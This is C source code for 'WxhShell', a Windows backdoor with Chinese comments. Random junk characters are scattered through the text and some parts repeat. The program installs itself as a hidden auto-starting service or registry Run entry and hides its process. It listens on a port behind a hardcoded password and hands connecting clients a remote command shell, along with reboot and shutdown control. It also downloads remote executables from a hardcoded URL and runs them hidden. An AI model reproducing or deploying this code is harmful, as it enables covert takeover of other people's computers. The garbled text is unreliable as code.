`h< ULONG InheritedFromUniqueProcessId; >X"V } PROCESS_BASIC_INFORMATION; PLmf.hD \ <CnTiS# PROCNTQSIP NtQueryInformationProcess; Os# V=P ?Q XS? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8={"j static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fq2t^c|$ T+y3Ph--^ HANDLE hProcess; g,N"o72) PROCESS_BASIC_INFORMATION pbi; BbqH02i
`>mT/Rmb@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =(x W7Pt~ if(NULL == hInst ) return 0; i!jR>+ Jm l4EW7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (IY=x{b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZV;lr Vv NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ))qOsphN g}\Yl. if (!NtQueryInformationProcess) return 0; 6fOh * rprtp5C g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !}gC0dJ if(!hProcess) return 0; @}{~Ofs mar
BVFz~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ew|VDD(. 7Q(5Nlfcz CloseHandle(hProcess); P;#}@ /E I C6}s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w/`I2uYu if(hProcess==NULL) return 0; M@n9i@UsO ^\X-eeA HMODULE hMod; O#e' .n!rI char procName[255]; Ris5)*7 unsigned long cbNeeded; 1qw*mV;W)_ ,KMt9< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $RYsqX\v JDyP..Dt CloseHandle(hProcess); ?>_[hZ )K4A-9pC if(strstr(procName,"services")) return 1; // 以服务启动 $ 'B0ZL F .(zS(q return 0; // 注册表启动 F|3 =Cl } @@,l0/ pD+_ K // 主模块 XL/?v"
/ int StartWxhshell(LPSTR lpCmdLine) 8}&O7zO? { 5,0fL SOCKET wsl; uHv9D%R BOOL val=TRUE; dJZMzn int port=0; R(?g+:eCpM struct sockaddr_in door; O;u&>BMk 5/:BtlFx if(wscfg.ws_autoins) Install(); Qz+hS\yx O43emL3 port=atoi(lpCmdLine); R).?lnS <Ct b^4$ if(port<=0) port=wscfg.ws_port; 1CkBfK H0zKL]D'> WSADATA data; ltKUpRE\? if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W?5u O jXBAo if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `wJR^O!e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B cMgfa/ door.sin_family = AF_INET; Fxu'(xa door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6gLk?^. door.sin_port = htons(port); v'"0Ya fa7I6 i if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $"d< F3k closesocket(wsl); vjy 59m return 1; zFy0SzF } ;+%(@C51GE #K|:BS if(listen(wsl,2) == INVALID_SOCKET) { ,4bqjkX5q closesocket(wsl); }n+#o!uEf return 1; H'fmQf } : Gp,d*M Wxhshell(wsl); oT5N_\ WSACleanup(); Sga/i?! iWbrX1
I+ return 0; 7V6gT}R \/3Xb } '%@fW:r~ wf4?{H // 以NT服务方式启动 qVOlUH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;(cqaB { a#iJXI DWORD status = 0; F;Q8^C0e*c DWORD specificError = 0xfffffff; S]kY'(V(* [b-wak})aD serviceStatus.dwServiceType = SERVICE_WIN32; A.aUWh serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;naD`([ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {5tb.{ serviceStatus.dwWin32ExitCode = 0; >z'kCv serviceStatus.dwServiceSpecificExitCode = 0;
~yQby&s serviceStatus.dwCheckPoint = 0; #HjiE serviceStatus.dwWaitHint = 0; Mqu>#lL Sm6hyZFy hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J?d&+mt if (hServiceStatusHandle==0) return; o`hVI*D 3jMHe~.E< status = GetLastError(); Nf.6:= if (status!=NO_ERROR) |{ E\ 2U { O s*B%,} serviceStatus.dwCurrentState = SERVICE_STOPPED; O?<R.W<QI serviceStatus.dwCheckPoint = 0; !"w1Pv, serviceStatus.dwWaitHint = 0; NwH`t#zd serviceStatus.dwWin32ExitCode = status; p>w{.hC@ serviceStatus.dwServiceSpecificExitCode = specificError; J7FCW^-`3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0^l|W|.Z return; )24c( } l+e L:C! ykY#Y}?^ serviceStatus.dwCurrentState = SERVICE_RUNNING; AS;EO[Vn serviceStatus.dwCheckPoint = 0; 1Ner1EKGp serviceStatus.dwWaitHint = 0; t{\,vI if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6#egy|("nF } ^T):\x( a!Z.ZA // 处理NT服务事件,比如:启动、停止 ?]i.Zi\[f VOID WINAPI NTServiceHandler(DWORD fdwControl) H-&Z+4 +Xs { ]JQ';%dne switch(fdwControl) mez )G| { dgb#PxOMH case SERVICE_CONTROL_STOP: *XRAM. serviceStatus.dwWin32ExitCode = 0; FBn`sS8hH serviceStatus.dwCurrentState = SERVICE_STOPPED; gv7(-I serviceStatus.dwCheckPoint = 0; DOi\DJV! serviceStatus.dwWaitHint = 0; y'ZRoakz) { K OZHz`1! SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^a=,,6T } !!NVx\a return; dl:uI5] case SERVICE_CONTROL_PAUSE: R)s@2S serviceStatus.dwCurrentState = SERVICE_PAUSED; m2!y;)F0 break; y#[PQT case SERVICE_CONTROL_CONTINUE: `^t0379e serviceStatus.dwCurrentState = SERVICE_RUNNING; yqdhLX|Mk break; -"u9s[L{ case SERVICE_CONTROL_INTERROGATE: 9~8UG ( break; l56D?E8 }; (A.%q1h SetServiceStatus(hServiceStatusHandle, &serviceStatus); _7?LINF9 } aE0yO#=
2jQ|4$9j // 标准应用程序主函数 &5Ai&<q"p int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tx=~bm"*? { dpHK~n j\_ ;x.xj/7 // 获取操作系统版本 B dHLow OsIsNt=GetOsVer(); a8K"Z-LlQ GetModuleFileName(NULL,ExeFile,MAX_PATH); ;U6z|O7L :Gyv%>. // 从命令行安装
Do3;-yp>` if(strpbrk(lpCmdLine,"iI")) Install(); '5V2{k$4U @+LZSd+I // 下载执行文件 N :E7rtT,M if(wscfg.ws_downexe) { jPG&Ypm1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |2,'QTm= WinExec(wscfg.ws_filenam,SW_HIDE); *M*:3v
0 } ]d]tQPEU }]cKOv2 if(!OsIsNt) { I 2JE@? // 如果时win9x,隐藏进程并且设置为注册表启动 F?]nPb| HideProc(); FuEgI8+b StartWxhshell(lpCmdLine); qV57P6< } D{~mJDUzK else +(d\`{A if(StartFromService()) Z_&6<1,H // 以服务方式启动 MH{$"^K StartServiceCtrlDispatcher(DispatchTable); }a= &o6= else {b4+ Yc // 普通方式启动 n dRy&[f7 StartWxhshell(lpCmdLine); wTBp=)1)f ax7]>Z=%d" return 0; ^J0*]k%
} YnZV.&4{ R3;GMe@D# =
E'\ Bor _Kib =========================================== DJSSc e6{}hiM &E.ckWf %H\i}}PTe %h;~@- $ Hf
P2o5- " hz8Y2Ew {4"!~W #include <stdio.h> cPe0o'`[ #include <string.h> v*}r<}j #include <windows.h> o$I% 1 #include <winsock2.h> aML?$_6 #include <winsvc.h> ajF-T=5 #include <urlmon.h> ws:@Pe4AF {<7!=@j #pragma comment (lib, "Ws2_32.lib") $5aRu, #pragma comment (lib, "urlmon.lib") d[ql7 O)|{B>2r #define MAX_USER 100 // 最大客户端连接数 6Zwrk-,A #define BUF_SOCK 200 // sock buffer !%n3_tZC #define KEY_BUFF 255 // 输入 buffer &i*/}OZz c%Y%c2([ #define REBOOT 0 // 重启 CSx V^ #define SHUTDOWN 1 // 关机 )F;`07 <^+~?KDZM #define DEF_PORT 5000 // 监听端口 `(A>7;]: FCxLL")) #define REG_LEN 16 // 注册表键长度 1t{h)fwi #define SVC_LEN 80 // NT服务名长度 ikf6Y$nWfF Iy8>9m'5 // 从dll定义API 1wpT"5B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f Co- ony typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [eI{vH{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3uO#/EbS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7!Z\B-_, qCg`"/0 // wxhshell配置信息 [80jG+6 struct WSCFG { k4iu`m@^H int ws_port; // 监听端口 ;pu68N(B char ws_passstr[REG_LEN]; // 口令 Gv(bD6Rz int ws_autoins; // 安装标记, 1=yes 0=no Fl\X&6k char ws_regname[REG_LEN]; // 注册表键名 <H3 njv char ws_svcname[REG_LEN]; // 服务名 Oz{.>Pjn^o char ws_svcdisp[SVC_LEN]; // 服务显示名 a=bP char ws_svcdesc[SVC_LEN]; // 服务描述信息 L<bZVocOb_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WvVHSa4{ int ws_downexe; // 下载执行标记, 1=yes 0=no =qH9<,p`H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %O-RhB4q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `pS<v.L3 "5*n(S{ks }; 8%OS ,Z 5`CPaJT$ // default Wxhshell configuration 6v7H?4 struct WSCFG wscfg={DEF_PORT, Cw1Jl5OVZ "xuhuanlingzhe", 7Yp;B:5@ 1, V XEA.Mko "Wxhshell", sdP% Y<eAT "Wxhshell", $c4Q6w "WxhShell Service", UO(B>Abp "Wrsky Windows CmdShell Service", T;D`=p# "Please Input Your Password: ", ')_Gm{A#p 1, PGZ .\i "http://www.wrsky.com/wxhshell.exe", UBoN}iR "Wxhshell.exe" Z'c{4b`N }; GFd~..$ sIQd} // 消息定义模块 g`~c|bx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /VB n char *msg_ws_prompt="\n\r? for help\n\r#>"; sXm8KV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .-[uQtyWW char *msg_ws_ext="\n\rExit."; 2Wz/s 0` char *msg_ws_end="\n\rQuit."; Rz%
Px: M char *msg_ws_boot="\n\rReboot..."; |0:&dw?*! char *msg_ws_poff="\n\rShutdown..."; jSbO1 go# char *msg_ws_down="\n\rSave to "; A[L+w9 ]|g{{PWH char *msg_ws_err="\n\rErr!"; `=b)fE char *msg_ws_ok="\n\rOK!"; Isv@V. <]I[|4J 7 char ExeFile[MAX_PATH]; pQr `$:ga int nUser = 0; hY=#_r8 HANDLE handles[MAX_USER]; T)Z2=5V int OsIsNt; ~?&;nTwHe v{4K$o SERVICE_STATUS serviceStatus; .um]1_= \ SERVICE_STATUS_HANDLE hServiceStatusHandle; t{t*.{w
8mTjf Br // 函数声明 |__\Vn int Install(void); q:Gi
Qk- int Uninstall(void); g2%&/zq/ int DownloadFile(char *sURL, SOCKET wsh); UlQZw*ce int Boot(int flag); `9M:B& void HideProc(void); ~6!{\un
int GetOsVer(void); K~**. NF-n int Wxhshell(SOCKET wsl); J^[>F{8!n void TalkWithClient(void *cs); j48cI3C int CmdShell(SOCKET sock); lC&U9=7W int StartFromService(void); m@o/ W int StartWxhshell(LPSTR lpCmdLine); )M(; :#le ]CyWL6z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); INrl^P* VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?H8w/{J =fa!"$J3 // 数据结构和表定义 [Lh<k+ SERVICE_TABLE_ENTRY DispatchTable[] = OI;0dS { "3CQ0 {wscfg.ws_svcname, NTServiceMain}, }.O,P'k {NULL, NULL} TS+itU62 }; kzPHPERA] W6f?/{Oo8 // 自我安装 UO^"<0u int Install(void) CuRYtY@9 { i/;Ql, gm char svExeFile[MAX_PATH]; [ L% -lJ HKEY key; ^t4T8ejn strcpy(svExeFile,ExeFile); ZrJAfd \5c N{v
<z 6 // 如果是win9x系统,修改注册表设为自启动 i-Ck:-J if(!OsIsNt) { )G6{JL-I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GkqKIs RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Z{&b,Y4L RegCloseKey(key); -g8G47piX: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :f (UZmV$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O#}T.5t RegCloseKey(key); }MBxfZ 4I return 0; ,Cx @]] } :'RmT3 } t_1(Ex }
B|E4(,]^ else { Xy[O 6$-Ex // 如果是NT以上系统,安装为系统服务 L+y}hb
r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p^PAbCP'|3 if (schSCManager!=0) iev02 8M { xgV.<^ SC_HANDLE schService = CreateService A?[06R5E# ( %9ef[,WT schSCManager, guJS;VC6U wscfg.ws_svcname, _E0XUT!rA wscfg.ws_svcdisp, 5, SERVICE_ALL_ACCESS, \IB@*_G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (ZR+(+i, SERVICE_AUTO_START, $g? ]9}p SERVICE_ERROR_NORMAL, J8Bz|.@Q svExeFile, \q9wo*A NULL, Wj0=cIb NULL, ,S(^r1R NULL, 82ay("ZY NULL, )/VhkSXbG! NULL Er(
I6 ); ph*9,\c8 if (schService!=0) <1i:Z*l. { H+Dv-*i CloseServiceHandle(schService); NN(ZH73 CloseServiceHandle(schSCManager); [-}LEH1[p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m~`d<RM/ strcat(svExeFile,wscfg.ws_svcname); 9z>I&vcX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { epw*Px RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G Y? ?q8 RegCloseKey(key); \@IEqm6 return 0; mO];+=3v8 } {C+blzh6 } cE(P^;7D CloseServiceHandle(schSCManager); OU2.d7 } 5]_m\ zn= } 6&jW.G8/ ?#N:
a return 1; 8%C7!l q } 9g%1^$R PeD>mCvL" // 自我卸载 )Fe6>tE int Uninstall(void)
=j,2 { 7X+SK&PX HKEY key; |qUi9#NUo 3y#0Lb-y if(!OsIsNt) { IXjFK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Z4ilpU, RegDeleteValue(key,wscfg.ws_regname); Uk@du7P1k RegCloseKey(key); %x}iEqk U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5UWj#|t RegDeleteValue(key,wscfg.ws_regname); v)+E!"R3. RegCloseKey(key); 5"~F#vt return 0; zG
IxmJ. } il8n
K } V\1pn7~V } !U6q;'
)- else { m5c=h 244[a]
%&; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SSr#MIS? if (schSCManager!=0) `!BP.-Zv { B/Jz$D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V{A_\ if (schService!=0) `kE ;V!n? { Z;v5L/; if(DeleteService(schService)!=0) { [P:+n7= ,l CloseServiceHandle(schService); -hd@<+;E CloseServiceHandle(schSCManager); qdW"g$fW return 0; ,J*C'#sW } Py@/\V CloseServiceHandle(schService); {l0[`"EF } qV$\E=%fhM CloseServiceHandle(schSCManager); 4D'AAr57 } Jn :h;|9w } gT-"=AsxZQ -v@LJCK7I return 1; uM"_3je{W2 } M)qb6aD0 j^1Yz}6nR // 从指定url下载文件 'w$jVX/ int DownloadFile(char *sURL, SOCKET wsh) 5^5hhm4 { #ETy#jKL HRESULT hr; 3<
'bi}{ char seps[]= "/"; <u_vL
WS char *token; wU}%]FqtZ= char *file; /:Q char myURL[MAX_PATH]; e,K.bgi char myFILE[MAX_PATH]; 9$q35e 0h-'TJg*sk strcpy(myURL,sURL); "@^^niSFl token=strtok(myURL,seps); |Cm6RH$( while(token!=NULL) iSP}kM} { _LSp \{Z file=token; \1ncr4 token=strtok(NULL,seps); ?/}N } PjG^L
FX j 06mky GetCurrentDirectory(MAX_PATH,myFILE); 1/3<u:: strcat(myFILE, "\\"); s-801JpiJ strcat(myFILE, file); <kCOg8<y
: send(wsh,myFILE,strlen(myFILE),0); *S<d`mp[ send(wsh,"...",3,0); G' '9eV$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IZ_?1%q>} if(hr==S_OK) (O$il return 0; ";U#aK1p else ]iYO}JuX return 1; G]n_RP$G nv<t$r } _)S['[ {)n@Rq\=v // 系统电源模块 6z5wFzJv?q int Boot(int flag) P84=.*> { -V&nlP HANDLE hToken; YTD&swk TOKEN_PRIVILEGES tkp; I {%Y0S b]4\$ rW7 if(OsIsNt) { tR\cS) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gHtflS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2~l +2.. tkp.PrivilegeCount = 1; fuU
3?SG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,R\e x =c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); " ?Ux\)* if(flag==REBOOT) { ,<BV5~T.| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) . {vMn0c return 0; BJt]k7ku+ } C]Q`!e else { |'``pq/}_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "%YVAaN return 0; 2fgYcQ8` } q`3HHq } 3a[ LM! else { 9PUobV_^Wo if(flag==REBOOT) { I7\T :Q[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C/4r3A/u return 0; YwS/O N } M.\XG}RR else { EbeSl+iMx_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >`l^
C return 0; Z*b$&nM } *'*,mfk[ } :Q,~Nw> kC ALJRf~d return 1; 'h@&rr@5 } nIZsKbnw 1gnLKf c // win9x进程隐藏模块 B@@tKn_CQ void HideProc(void) O6,2M[a { [ahwJ F#r =
c1>ja HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +s6v!({Z if ( hKernel != NULL ) E5#ff5 { Y_6v@SiO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oWx^_wQ-= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :*/g~y(fE FreeLibrary(hKernel); }(!rB#bf } w5yX~8UzJ E`.:V<KW/ return; cE>m/^SKr }
}ikN zf]e"e // 获取操作系统版本 7[mP@ { int GetOsVer(void) Nobu=
Z { WFzM s OSVERSIONINFO winfo; %QQ 2u$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R!
n7g8I% GetVersionEx(&winfo); 3}8L!2_p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yeMe2Zx return 1; `Z#':0Z else aI=Q_}8- return 0; lD->1=z } Pe-rwM H DD)AM&p // 客户端句柄模块 ~W={"n?= int Wxhshell(SOCKET wsl) 7=NKbv] { W9oWj7&h SOCKET wsh; &*E! %57 struct sockaddr_in client; 2.=G DWORD myID; HO_(it \ }I MV@z B while(nUser<MAX_USER) B'mUDW8\D { H |7XfM int nSize=sizeof(client); %pH|2VB# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/fLm
)vN if(wsh==INVALID_SOCKET) return 1; j6};K ~N` ,`OQAJ)> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;;m;f^]} if(handles[nUser]==0) MslgQmlM closesocket(wsh); T@`Al(' else 19-V;F@; nUser++; xX9snSGz } +S+=lu _ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ycwkF$7 RnU7|p{ return 0; Ryygq,>VD. } ]T&d_~l
2`%a[t@M. // 关闭 socket 6|{&7=1t void CloseIt(SOCKET wsh) sekei6#fi { ho B[L}<c closesocket(wsh); ?FUK_] nUser--; `S5::U6E ExitThread(0); h{H*k#> } {~j/sto-: !*HJBZ]q // 客户端请求句柄 {IvA 5^ void TalkWithClient(void *cs) c53:E'g { q_ryW$/_ (;^>G[ SOCKET wsh=(SOCKET)cs; ]h&1|j1 char pwd[SVC_LEN]; >p0,]-.J,r char cmd[KEY_BUFF]; (fr=N5 char chr[1]; ,nCvA%B! int i,j; km][QEXs% vceD/ N8 while (nUser < MAX_USER) { (9TSH3f? ;Zj(**#H if(wscfg.ws_passstr) { C^;8M'8z0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1E'PSq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HZ}Igw.Z //ZeroMemory(pwd,KEY_BUFF); 3&5b!Y i=0; HB$?}V while(i<SVC_LEN) { z}.6yHS _dz ZS(7M6 // 设置超时 xGbq,~_r fd_set FdRead; C984Ee struct timeval TimeOut; wfEL
.h FD_ZERO(&FdRead); *)`PY4zF FD_SET(wsh,&FdRead); f-|zh#L TimeOut.tv_sec=8; ^k$Bx_{ TimeOut.tv_usec=0; 3A[<LnKR^E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :dRC$?f4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bu <d>XR /DyeMCY- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B:0oT pwd=chr[0]; QT73=>^B if(chr[0]==0xd || chr[0]==0xa) { &7>]# *
pwd=0; ~m,~; break; ;Ss!OFK } <_Z.fdUA i++; %eW7AO> } =3A4.nW i=]R1yP // 如果是非法用户,关闭 socket 5#N<~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }$L1A } L(u@%.S c}|.U send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QA;,/iw ` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g\8B; 83
R_8 while(1) { o#1Ta7Ro ZI qXkD ZeroMemory(cmd,KEY_BUFF); X=Ar"Dx}}s aXQAm$/
> // 自动支持客户端 telnet标准 EW vhT]<0 j=0; %e0X-tXcmX while(j<KEY_BUFF) { f(eXny@Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vn:v{-i cmd[j]=chr[0]; OPE+:TvW^ if(chr[0]==0xa || chr[0]==0xd) { K@%T5M4j cmd[j]=0; $joGda break; +l/kH9m } =54D#,[B j++; {jQLr7' } ub9[!}r't ss }-YnG // 下载文件 ^c(r4#}$" if(strstr(cmd,"http://")) { 5
-|7I7(G$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Z2_W/ if(DownloadFile(cmd,wsh)) 9I
[:#,zdf send(wsh,msg_ws_err,strlen(msg_ws_err),0); xoj,> [7 D else KU{zzn;g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0-{E% k } I+.U.e^gx else { 2dKt}o> %3TioM[B switch(cmd[0]) { 66
R= cC/32SmY4 // 帮助 60nP'xfR case '?': { :=+YZ|&j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "q= ss:( break; i M
MKA0JM } :k`Qj(7S // 安装 8d8jUPFQ case 'i': { R2{]R&wtn0 if(Install()) %g5#q64 send(wsh,msg_ws_err,strlen(msg_ws_err),0); z)v o else DCLu^:|C" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E
$\nb]JQ break; D4y!l~_,%M } "K9[P:nw // 卸载 Akc
|E!V case 'r': { +]-'{%-zK if(Uninstall()) NT5##XOB send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??P\v0E else qa@;S,lp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +_*NY~ break; W-|CK&1 } Qx|HvT2P // 显示 wxhshell 所在路径 N TDmOS\, case 'p': { aZ{ l6 char svExeFile[MAX_PATH]; `W_&^>yl strcpy(svExeFile,"\n\r"); c V@^< strcat(svExeFile,ExeFile); '-n
Iy$> send(wsh,svExeFile,strlen(svExeFile),0); g@M5_I(W break; :6)!#q'g } Tmu2G/yi // 重启 )G, S7A case 'b': { xW9R-J\W send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /g9^g( if(Boot(REBOOT)) gp 11/. send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9eP*N(m< else { v^Fu/Y closesocket(wsh); 33eOM(`D[ ExitThread(0); BdU .;_K } Kx,X{$Pe break; (vi^ t{k } sh` 3$ { // 关机 &YD+s%OL case 'd': { -Q
Mwtr#q} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pj g# if(Boot(SHUTDOWN)) %"
mki> send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5jD /X4 else { ]g oVQ'Y closesocket(wsh); P Gxv4(% ExitThread(0); 3xP<J)S0 } "7Kw]8mRR break; 0;=]MEk? } VJW8%s[ // 获取shell o>d0R
w4h case 's': { SJLs3iz_) CmdShell(wsh); /4+zT?f closesocket(wsh); ngd4PN>{4 ExitThread(0); )w&|VvM )L break; n4XkhY| } 9h-S,q! // 退出 /RhM6N case 'x': { G\k&sF send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `O.pT{Lf CloseIt(wsh); 17;9> *O' break; F/tRyq`D } 48J{Y3F // 离开 JW2f 6!b case 'q': { j1K~zG send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Q@]+&`|}i closesocket(wsh); &A/b9GW^- WSACleanup(); HD$`ZV exit(1); "iK'O =M break; vKdS1Dn1 } |)O;+e\ } Y}yh6r;i } DSp~k) =Bh,>Kg // 提示信息 ,5t_}d|3C= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B"*PBJuOA } ;r]!
qv: } N5cC!K |6Iw\YU return; PT&qys2k } Z.aeE*Hs$ $mf6!p4 // shell模块句柄 PIQd=%?' int CmdShell(SOCKET sock) t0:~BYXu { k#mL4$]V5N STARTUPINFO si; ,~l4-x., ZeroMemory(&si,sizeof(si)); '?{L
gj^R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; { M[iYFg= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gMZrtK`< PROCESS_INFORMATION ProcessInfo; pMUUF5 char cmdline[]="cmd"; lqAv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yc5)
^v return 0; 6Ol)SQE, } XwU1CejP0 4}YHg&@\d% // 自身启动模式 ;1TQr3w int StartFromService(void) Gh%dVP9B@P { $O\]cQD`u typedef struct HGj[\kU~ { #.OCoc DWORD ExitStatus; hrfSe $8 DWORD PebBaseAddress; /KO2y0` DWORD AffinityMask; F22]4DLHO DWORD BasePriority; v?DA> ULONG UniqueProcessId; 10_@'N ULONG InheritedFromUniqueProcessId; cI<T/~P } PROCESS_BASIC_INFORMATION; 5* ~EdT 6WLq>Jo PROCNTQSIP NtQueryInformationProcess; *zX^Sg-[ #CB`7}jq static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `DP4u\6_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bGp3V. H U
owbk: HANDLE hProcess; U4._a PROCESS_BASIC_INFORMATION pbi; hBW,J$B 0INlo HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r$! if(NULL == hInst ) return 0; F
@Wb<+0 QUc&f+~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c 9zMI g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dJmr!bN\; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U {sT %G {'f=*vMI if (!NtQueryInformationProcess) return 0; F8*P/<P1cK W
